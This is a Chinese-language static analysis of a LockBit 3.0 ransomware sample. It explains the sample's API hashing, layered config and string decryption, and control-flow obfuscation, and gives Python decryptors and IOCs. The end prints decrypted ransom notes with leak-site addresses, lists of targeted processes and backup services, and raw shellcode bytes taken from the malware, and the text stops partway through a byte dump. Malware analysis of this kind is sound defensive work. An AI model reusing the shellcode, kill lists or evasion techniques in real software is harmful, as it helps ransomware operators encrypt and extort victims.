Lockbit 3 静态分析

Lockbit 3 静态分析

样本挺老了,完整功能分析网上有大量公开资料,具体功能不再赘述。

API解析

在现代恶意软件分析中,动态解析API是了解样本行为的关键手段之一。Lockbit 3采用了动态API解析技术,这种技术使得恶意代码的行为更加隐蔽,绕过了静态分析工具对已知API的检测

xxx

xx

Lockbit 3.0 采用了基于 add_ror13 哈希算法的动态 API 解析机制,其核心流程可分为 PE 结构解析与哈希匹配两个阶段:

首先,样本通过解析当前进程的 PEB 定位模块加载链表,依次遍历链表项获取各 DLL 的基地址。对于每个加载模块,程序会解析其 PE 头部结构,定位导出表准备后续处理

在哈希处理环节,先计算模块名称的哈希值。对于导出函数名,运用 add_ror13 算法进行处理,该函数基于循环右移操作,将函数名与模块基地址偏移量运算,得出哈希值与预设目标值比对。如果相同,就定位到目标 API,完成解析

xx

了解算法和密钥后,可以解密API名称,并构建相应的结构体来存储每个DLL的API列表

xx

xx

修复前

xx

修复后

xx

配置信息解密

shellcode解密

解密流程

首先对加密的shellcode使用 xor 0x30 的方法进行逐字节异或,从而获得一段可执行的中间数据

随后调用APLib算法将该中间数据进行解压缩,得到真正的shellcode载荷

xx

shellcode函数内部调用

解密还原的shellcode中,存在三个解密函数,分别位于偏移0x83,0xC4,0x19B

函数(decrypt_config_0x83,decrypt_config_0xC4,decrypt_config_0x19B)在运行时会调用相应的shellcode函数,用来解密后续被加密的配置数据,得到最终有效的配置信息

xx

xx

xx

解密算法

核心算法如下(完整算法:shellcode解密算法):

def xor_decrypt(data, key):
    out = []
    for i in range(len(data)):
        out.append(data[i] ^ key)
    return bytes(out)

config_data = unhex('6330615a31683f92c7f1d1a...')

xor_decrypt_config = xor_decrypt(config_data, 0x30)

decrypt_data = decompress(xor_decrypt_config)

decrypt_config_0x83(解密算法未优化)

配置信息结构

密文数据按如下格式存储

  • 前8字节为64位种子
  • 后续4字节为加密配置数据的长度
  • 剩余字节是待解密的加密数据

解密流程

解密流程概括

算法采用线性同余生成器(LCG)生成伪随机密钥流,基于递归公式 ​X_{n+1} = (X_n \times 0x5851F42D4C957F2D + 0x14057B7EF767814F) \mod 2^{64},以种子为初始值,生成 64 位密钥值。每个密钥值按小端序转换为字节数组,通过映射 [0, 5, 1, 4, 2, 7, 3, 6] 重排后,与数据字节执行按字节异或(XOR)操作,解密 8 字节数据块。解密后,移除末尾填充字节,使用APLib 解压缩算法恢复原始配置信息

xx

xx

密钥流生成

使用线性同余生成器(LCG)生成密钥流:

  • 从初始种子开始,每次计算新种子:new seed = current seed * 常量(0x5851F42D4C957F2D) + 常量(0x14057B7EF767814F)
  • 然后计算密钥值:init seed * new seed,并更新current seed 为 new seed
  • 每个密钥值对应8字节数据块,生成足够多的密钥值覆盖所有数据

数据解密

将每个64位密钥值转换为小端序字节数组

根据映射[0, 5, 1, 4, 2, 7, 3, 6]重排密钥字节,确保每个数据字节与正确密钥字节对应(映射推导如下)

  • 密钥是64位整数,按小端转换为8个字节,分别是byte0到byte7
  • 在解密函数中,使用 generate_key_stream获取64位结果,拆分成低32位和高32位
  • 根据每个数据字节的xor操作,确定它使用的是密钥值的哪个字节
    • 数据字节 0:与 result_low & 0xFF 异或,即密钥值的 byte0
    • 数据字节 1:与 (result_high >> 8) & 0xFF 异或,result_high 是高 32 位,右移 8 位后取低 8 位,对应 byte5
    • 数据字节 2:与 (result_low >> 8) & 0xFF 异或,对应 byte1
    • 数据字节 3:与 result_high & 0xFF 异或,对应 byte4
    • 数据字节 4:与 (result_low >> 16) & 0xFF 异或,对应 byte2
    • 数据字节 5:与 (result_high >> 24) & 0xFF 异或,对应 byte7
    • 数据字节 6:与 (result_low >> 24) & 0xFF 异或,对应 byte3
    • 数据字节 7:与 (result_high >> 16) & 0xFF 异或,对应 byte6
  • 因此,映射为[0, 5, 1, 4, 2, 7, 3, 6]
    • 数据字节 0 → byte0(索引 0)
    • 数据字节 1 → byte5(索引 5)
    • 数据字节 2 → byte1(索引 1)
    • 数据字节 3 → byte4(索引 4)
    • 数据字节 4 → byte2(索引 2)
    • 数据字节 5 → byte7(索引 7)
    • 数据字节 6 → byte3(索引 3)
    • 数据字节 7 → byte6(索引 6)

逐字节字节进行 XOR 操作,得到解密后的数据

所以实际的解密代码可以优化为:

encrypt_data[i] ^ key_stream[i]
encrypt_data[i+1] ^ key_stream[i+5]
encrypt_data[i+2] ^ key_stream[i+1]
encrypt_data[i+3] ^ key_stream[i+4]
encrypt_data[i+4] ^ key_stream[i+2]
encrypt_data[i+5] ^ key_stream[i+7]
encrypt_data[i+6] ^ key_stream[i+3]
encrypt_data[i+7] ^ key_stream[i+6]

解压后续数据

将解密后的数据使用APLib进行解压缩

对base64编码的数据进行解码

解密算法

核心算法如下

def update_key_and_compute(initial_value, current_seed):
    new_seed = (current_seed[0] * 0x5851F42D4C957F2D + 0x14057B7EF767814F)
    current_seed[0] = new_seed
    return initial_value * new_seed

def generate_key_stream(initial_seed, num_blocks):
    initial_value = (initial_seed[1] << 32) | initial_seed[0]
    current_seed = [(num_blocks[1] << 32) | num_blocks[0]]
    key_values = update_key_and_compute(initial_value, current_seed)
    # 更新 num_blocks 为新的种子
    new_seed = current_seed[0]
    num_blocks[0] = new_seed & 0xFFFFFFFF
    num_blocks[1] = (new_seed >> 32) & 0xFFFFFFFF
    return key_values

def decrypt_config_data(data, length, seed):
    # seed 是 64 位整数
    initial_seed = [seed & 0xFFFFFFFF, (seed >> 32) & 0xFFFFFFFF]
    num_key_values = initial_seed.copy()

    decrypted = bytearray(data)
    i = 0

    while i < length:
        result = generate_key_stream(initial_seed, num_key_values)
        result_low = result & 0xFFFFFFFF
        result_high = (result >> 32) & 0xFFFFFFFF

        # 处理第一个 4 字节
        if i < length:
            decrypted[i] ^= (result_low & 0xFF)
            i += 1
        if i < length:
            decrypted[i] ^= ((result_high >> 8) & 0xFF)
            i += 1
        if i < length:
            decrypted[i] ^= ((result_low >> 8) & 0xFF)
            i += 1
        if i < length:
            decrypted[i] ^= (result_high & 0xFF)
            i += 1

        # 处理第二个 4 字节
        if i < length:
            decrypted[i] ^= ((result_low >> 16) & 0xFF)
            i += 1
        if i < length:
            decrypted[i] ^= ((result_high >> 24) & 0xFF)
            i += 1
        if i < length:
            decrypted[i] ^= ((result_low >> 24) & 0xFF)
            i += 1
        if i < length:
            decrypted[i] ^= ((result_high >> 16) & 0xFF)
            i += 1

    return bytes(decrypted)

encrypt_data = unhex('fcd2606251ec9a6...')

seed = struct.unpack('<Q', encrypt_data[:8])[0]
length = struct.unpack('<I', encrypt_data[8:12])[0]
encrypt_config_data = encrypt_data[12:12+length]

decrypted_data = decompress(decrypt_config_data(encrypt_config_data, length, seed))

堆栈字符串解密

LockBit 3.0 采用静态分块异或取反加密(XOR-NOT)方式存储堆栈字符串。其具体操作流程为,预先硬编码 4 字节密文块,在程序运行阶段,依次针对各密文块执行与密钥(0x4506DFCA)的异或运算,随后对运算结果进行逐位取反操作,实现字符串混淆

xx

xx

解密算法

核心算法如下(完整算法:堆栈字符串解密算法):

def decrypt_data(data, xor_key):
    decrypted_data = []
    for i in range(0, len(data), 4):
        chunk = data[i:i+4]
        value = struct.unpack('<I', bytes(chunk))[0]
        decrypted_value = value ^ xor_key
        decrypted_value = ~decrypted_value & 0xFFFFFFFF
        decrypted_chunk = struct.pack('<I', decrypted_value)
        decrypted_data.extend(decrypted_chunk)

    return bytes(decrypted_data)

xx

COM组件还原

修复前

xx

修复后

xx

释放文件分析

shellcode

释放的几个shellcode功能都比较简单,api解析方式和本体一致,不过多介绍

xx

pe文件

API解析

PE结构解析和本体一致,哈希处理部分使用魔改的add_ror13算法。通过xor 0xC8B32494对输入种子进行预处理,最终使用 xor 0x3B029FD4 进行匹配校验

xx

xx

函数指针跳转表解析

LockBit 3采用动态混淆的跳转表调用机制,通过多重加密和运行时生成Shellcode来隐藏真实的函数调用流程(和本体一致)

核心流程基于伪随机选择算法控制加密模式,生成4种不同的Shellcode变体,包括循环移位(ROL4/ROR4)、字节逆序(_byteswap_ulong)和位取反等操作,确保每个函数跳转具备独特的解密逻辑。随机数生成模块通过CPU指令(RDRAND、RDSEED)和高精度时间戳(RDTSC)获取熵源,进一步强化动态随机性

调用过程采用硬编码Shellcode桩结构,首字节固定为0xB8(MOV EAX指令),后续填充加密后的函数指针和解密逻辑,最终通过JMP EAX完成跳转。这种设计将原始虚函数表中的指针替换为动态生成的代码块,使得静态分析无法直接获取调用目标,同时兼容模块化跳转表技术,通过动态加载+偏移量硬编码实现关键函数调用

xx

xx

修复前

xx

修复后

xx

堆栈字符串解密

和本体一致,只是xor值有区别

xx

IOC

hash

sha256: 80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce

解密字符串

hash解密数据

hash list
	0xf281cd03 : 
	0x7078f58c : 
	0x687e3526 : 
	0x426cd726 : 
	0xce6958e3 : 
	0xf2d1a7c6 : 
	0xa63bc0a6 : 
	0xcb0b38e1 : 
	0xcab8dd52 : 
	0x4e4edc : 
	0x8659536 : 
	0x75e394ab : 
	0x18eae2e : 
	0x4b25d4ae : 
	0xf079354c : 
	0x66f97507 : 
	0xea38926b : 
	0x66e694b7 : 
	0x1b589b53 : 
	0xde3a7bcd : 
	0x22623b5c : 
	0x3a37b3ba : 
	0xef : 
hash list
	0x86ccaa15 : autorun.inf
	0x3907099b : boot.ini
	0xf00cae96 : bootfont.bin
	0xfcc8ab56 : bootsect.bak
	0x82d2a252 : desktop.ini
	0x846bec00 : iconcache.db
	0xdb975937 : ntldr
	0xc23aa6f5 : ntuser.dat
	0x85aa57e4 : ntuser.dat.log
	0xcbe2aa35 : ntuser.ini
	0xc8cef7d1 : thumbs.db
	0x0 : 
hash list
	0x67b00e00 : 386
	0xc5b01900 : adv
	0xc5481b80 : ani
	0xc7a01840 : bat
	0xc7701a40 : bin
	0xc9101840 : cab
	0xc9201b40 : cmd
	0xc9681bc0 : com
	0xc9601c00 : cpl
	0xc9901d40 : cur
	0xa1fccbfe : deskthemepack
	0x4aba94f1 : diagcab
	0x4ae29631 : diagcfg
	0x64e29771 : diagpkg
string list: 
	b'sql'
	b'oracle'
	b'ocssd'
	b'dbsnmp'
	b'synctime'
	b'agntsvc'
	b'isqlplussvc'
	b'xfssvccon'
	b'mydesktopservice'
	b'ocautoupds'
	b'encsvc'
	b'firefox'
	b'tbirdconfig'
	b'mydesktopqos'
	b'ocomm'
	b'dbeng50'
	b'sqbcoreservice'
	b'excel'
	b'infopath'
	b'msaccess'
	b'mspub'
	b'onenote'
	b'outlook'
	b'powerpnt'
	b'steam'
	b'thebat'
	b'thunderbird'
	b'visio'
	b'winword'
	b'wordpad'
	b'notepad'
	b''
	b''
string list: 
	b'vss'
	b'sql'
	b'svc$'
	b'memtas'
	b'mepocs'
	b'msexchange'
	b'sophos'
	b'veeam'
	b'backup'
	b'GxVss'
	b'GxBlr'
	b'GxFWD'
	b'GxCVD'
	b'GxCIMgr'
	b''
	b''
hash list
	0x6936e2f5 : 
	0xfe23893f : 
	0x116e2ba6 : 
	0xfb615a59 : 
	0xacccb19e : 
	0x54c8cf49 : 
	0x9384e732 : 
	0xf4038d62 : 
	0x4a3bbc65 : 
	0x50a42222 : 
	0x7de9e678 : 
hash list
	0x492c9cea : 
	0x9529e61e : 
	0x3173428a : 
	0xdb257419 : 
	0x8cc8d998 : 
	0x38d5a04a : 
	0xb3cdc024 : 
	0x8004ec77 : 
	0x6a3dcf61 : 
	0x70c04c37 : 
	0x99a8915 : 
	0x3dfaf56d : 
	0x89cc64be : 
	0xc234fd80 : 
	0x1660861f : 
	0xc0990ffc : 
	0x90abdd06 : 
	0x171c0252 : 
	0x56f83c56 : 
	0x2114f9a : 
	0xd6ba5ef2 : 
	0x52c24cf3 : 
	0xa4c732d2 : 
	0xbca57f15 : 
	0xdd492797 : 
	0xfda96163 : 
	0x9be31ef8 : 
	0x9a7daa87 : 
	0x1a5e9dce : 
	0x285e8945 : 
	0xcef44dda : 
	0x9da875a0 : 
	0x35786f30 : 
	0x6f3f8ace : 
	0xdfc4b7f1 : 
	0x84039726 : 
	0xef846c2 : 
	0xddbe3a1b : 
	0xd971ac65 : 
	0xc18464c2 : 
	0xbfa4a3ad : 
	0xba8fe660 : 
	0xa6f23f4d : 
	0x8d3905b3 : 
	0x81c1fcbc : 
	0x8bb2ffe8 : 
	0x9708bc64 : 
	0xa1a9803e : 
	0xeb6675a : 
	0x5a39f356 : 
	0x2726289b : 

.data部分解密数据

这部分代码被我搞丢失了😭,不过也不复杂,就是读取.data部分的数据然后直接去解密

# 核心还是转成十六进制数据然后进行解密
decrypt_config_data(src_0, seed).replace(b'\x00', b'')
b'LockBit Black\r\n\r\nAll your important files are stolen and encrypted!\r\nYou must find %s file\r\nand follow the instruction!'


b'                               LockBit Black\r\n\r\nAll your important files are stolen and encrypted!\r\n    You must find %s file\r\n                    and follow the instruction!'


b"\xe8\x1d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00wtsapi32.dll\x00[h\xb2^\xd0'\xe8\xad\x00\x00\x00\x8dK\x10Q\xff\xd0h\xc2Q\xba\x1b\xe8\x9d\x00\x00\x00\x8b\x13\x8dK\x08QR\xff\xd0h\x81\xf0\xfd\xa9\xe8\x8a\x00\x00\x00\x8dK\x0c\x8bS\x08j\x02j\x00j\x00Q\xffs\x04Rj\xff\xff\xd0h\x1a\xfd?\x1a\xe8k\x00\x00\x00\x8b\xf0\xffs\x04\xff\xd6\xffs\x08\xff\xd6\x8bC\x0c\xc3U\x8b\xecRV3\xc0\x8bU\x0c\x8bu\x08f\xadf\x83\xf8Ar\nf\x83\xf8Zw\x04f\x83\xc8 \x80\xc6a\x80\xeea\xc1\xca\r\x03\xd0\x85\xc0u\xdf\x8b\xc2^Z]\xc2\x08\x00U\x8b\xecRV3\xc0\x8bU\x0c\x8bu\x08\xac\x80\xc6a\x80\xeea\xc1\xca\r\x03\xd0\x85\xc0u\xf0\x8b\xc2^Z]\xc2\x08\x00U\x8b\xec\x83\xc4\xf4SQRVW\xc7E\xfc\x00\x00\x00\x00d\xa10\x00\x00\x00\x8b@\x0c\x8dX\x0c\x8bH\x0c\x8bY\x18\x8bC<\x03\xc3\x8bPx\x85\xd2t^\x8dy,j\x00\xffw\x04\xe8h\xff\xff\xff\x89E\xf4\x03\xd3\x8bB\x18\x85\xc0t=\x89E\xf8\x8br \x8bz$\x03\xf3\x03\xfb\xad\x03\xc3\xffu\xf4P\xe8y\xff\xff\xff;E\x08u\x13\x0f\xb77\xc1\xe6\x02\x03r\x1c\x03\xf3\xad\x03\xc3\x89E\xfc\xeb\x0c\x83\xc7\x02\xffM\xf8\x83}\xf8\x00u\xd0\x83}\xfc\x00t\x02\xeb\x06\x8b\t;\xd9u\x8d\x8bE\xfc_^ZY[\x8b\xe5]\xc2\x04\x00"


b"H\x83\xecH\xe8)\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00wtsapi32.dll\x00[\xb9\xb2^\xd0'\xe8\xed\x00\x00\x00H\x8dK\x1c\xff\xd0\xb9\xc2Q\xba\x1b\xe8\xdd\x00\x00\x00\x8b\x0bH\x8dS\x0c\xff\xd0\xb9\x81\xf0\xfd\xa9\xe8\xcb\x00\x00\x00L\x8dK\x14H\x8bS\x0cH\xc7\xc1\xff\xff\xff\xffL\x8bC\x04H\xc7D$ \x00\x00\x00\x00H\xc7D$(\x00\x00\x00\x00H\xc7D$0\x02\x00\x00\x00\xff\xd0\xb9\x1a\xfd?\x1a\xe8\x91\x00\x00\x00L\x8b\xf8H\x8bK\x04A\xff\xd7H\x8bK\x0cA\xff\xd7H\x8bC\x14H\x83\xc4H\xc3H\x89L$\x08\x89T$\x10HUSVH\x8b\xec3\xc0\x8b](H\x8bu f\xadf\x83\xf8Ar\nf\x83\xf8Zw\x04f\x83\xc8 \x80\xc7a\x80\xefa\xc1\xcb\r\x03\xd8\x85\xc0u\xdfH\x8b\xc3H\x8b\xe5^[]\xc3H\x89L$\x08\x89T$\x10HUSVH\x8b\xec3\xc0\x8b](H\x8bu \xac\x80\xc7a\x80\xefa\xc1\xcb\r\x03\xd8\x85\xc0u\xf0H\x8b\xc3H\x8b\xe5^[]\xc3\x89L$\x08HURSVWAPAQH\x83\xec0H\x8dl$0H\xc7E\xf8\x00\x00\x00\x00eH\x8b\x04%`\x00\x00\x00H\x8b@\x18H\x8dX\x10L\x8b@\x10I\x8bX0\x8bC<H\x03\xc3D\x8b\x88\x88\x00\x00\x00E\x85\xc9toI\x8dxXH\x8bO\x083\xd2\xe80\xff\xff\xff\x89E\xf0L\x03\xcbA\x8bA\x18\x85\xc0tI\x89E\xf4A\x8bq A\x8by$H\x03\xf3H\x03\xfb\xadH\x03\xc3H\x8b\xc8\x8bU\xf0\xe8F\xff\xff\xff;E@u\x17\x0f\xb77\xc1\xe6\x02A\x03q\x1cH\x03\xf3\xadH\x03\xc3H\x89E\xf8\xeb\rH\x83\xc7\x02\xffM\xf4\x83}\xf4\x00u\xc8H\x83}\xf8\x00t\x02\xeb\x0cM\x8b\x00I;\xd8\x0f\x85o\xff\xff\xffH\x8bE\xf8H\x8de\x00AYAX_^[Z]\xc3"


b'j3\xe8\x00\x00\x00\x00\x83\x04$\x05\xcbHUSVWARH\x81\xec\xb0\x00\x00\x00H\x8d\xac$\x80\x00\x00\x00H\xc7\xc3\xff\xff\xff\xffH\xc7\xc6\xff\xff\xff\xffH\xc7\xc7\xff\xff\xff\xff\xb9\x1fQfl\xe8\xb7\x01\x00\x00H\xc7E\xf0\x00\x00\x00\x00H\x8dU\xf0H\x89}\xe8L\x8dM\xe8H\x8b\xcbE3\xc0H\xc7D$ \x000\x00\x00H\xc7D$(@\x00\x00\x00\xff\xd0\xb9\x0f\xc9\xf1\xa1\xe8\x7f\x01\x00\x00H\x8b\xcbH\x8bU\xf0L\x8b\xc6L\x8b\xcfH\xc7D$ \x00\x00\x00\x00\xff\xd0\xb9\xa9&Vd\xe8]\x01\x00\x00H\x8dM\xf8L\x8bU\xf0H\xc7\xc2\xff\xff\x1f\x00E3\xc0L\x8b\xcbL\x89T$ H\xc7D$(\x00\x00\x00\x00H\xc7D$0\x00\x00\x00\x00H\xc7D$8\x00\x00\x00\x00H\xc7D$@\x00\x00\x00\x00H\xc7D$H\x00\x00\x00\x00H\xc7D$P\x00\x00\x00\x00\xff\xd0\xb9\x13O\xef\x11\xe8\x01\x01\x00\x00H\x8bM\xf83\xd2E3\xc0\xff\xd0\xb9\x7f\xba\xb0n\xe8\xec\x00\x00\x00L\x8dE\x00H\x8bM\xf83\xd2I\xc7\xc10\x00\x00\x00H\xc7D$ \x00\x00\x00\x00\xff\xd0\xb9\x1a\xfd?\x1a\xe8\xc6\x00\x00\x00H\x8bM\xf8\xff\xd0\xb9\x99Bp!\xe8\xb6\x00\x00\x00H\x8dU\xf0H\xc7E\xe8\x00\x00\x00\x00L\x8dE\xe8H\x8b\xcbI\xc7\xc1\x00\x80\x00\x00\xff\xd0\x8bE\x00\x8bE\x00H\x8de0AZ_^[]\xe8\x00\x00\x00\x00\xc7D$\x04#\x00\x00\x00\x83\x04$\r\xcb\xc3H\x89L$\x08\x89T$\x10HUSVH\x8b\xec3\xc0\x8b](H\x8bu f\xadf\x83\xf8Ar\nf\x83\xf8Zw\x04f\x83\xc8 \x80\xc7a\x80\xefa\xc1\xcb\r\x03\xd8\x85\xc0u\xdfH\x8b\xc3H\x8b\xe5^[]\xc3H\x89L$\x08\x89T$\x10HUSVH\x8b\xec3\xc0\x8b](H\x8bu \xac\x80\xc7a\x80\xefa\xc1\xcb\r\x03\xd8\x85\xc0u\xf0H\x8b\xc3H\x8b\xe5^[]\xc3\x89L$\x08HURSVWAPAQH\x83\xec0H\x8dl$0H\xc7E\xf8\x00\x00\x00\x00eH\x8b\x04%`\x00\x00\x00H\x8b@\x18H\x8dX\x10L\x8b@\x10I\x8bX0\x8bC<H\x03\xc3D\x8b\x88\x88\x00\x00\x00E\x85\xc9toI\x8dxXH\x8bO\x083\xd2\xe80\xff\xff\xff\x89E\xf0L\x03\xcbA\x8bA\x18\x85\xc0tI\x89E\xf4A\x8bq A\x8by$H\x03\xf3H\x03\xfb\xadH\x03\xc3H\x8b\xc8\x8bU\xf0\xe8F\xff\xff\xff;E@u\x17\x0f\xb77\xc1\xe6\x02A\x03q\x1cH\x03\xf3\xadH\x03\xc3H\x89E\xf8\xeb\rH\x83\xc7\x02\xffM\xf4\x83}\xf4\x00u\xc8H\x83}\xf8\x00t\x02\xeb\x0cM\x8b\x00I;\xd8\x0f\x85o\xff\xff\xffH\x8bE\xf8H\x8de\x00AYAX_^[Z]\xc3'


b'LockBit Black Ransomware\r\n\r\nYour data are stolen and encrypted\r\n\r\nThe data will be published on TOR website\r\nhttp://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion\r\nand http://lockbitapt.uz if you do not pay the ransom\r\n\r\nYou can contact us and decrypt one file for free on these TOR sites\r\nhttp://lockbitsupa7e3b4pkn4mgkgojrl5iqgx24clbzc4xm7i6jeetsia3qd.onion\r\nhttp://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion\r\nhttp://lockbitsupp.uz\r\n\r\nDecryption ID: %s'


b'\x00\x00\x01\x00\x03\x0000\x00\x00\x01\x00 \x00\xa8%\x00\x006\x00\x00\x00  \x00\x00\x01\x00 \x00\xa8\x10\x00\x00\xde%\x00\x00\x10\x10\x00\x00\x01\x00 \x00h\x04\x00\x00\x866\x00\x00(\x00\x00\x000\x00\x00\x00`\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x80%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\x00\x00\x00\x00\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\xff\xff\xff\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc3\xc3\xc3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x03\xff\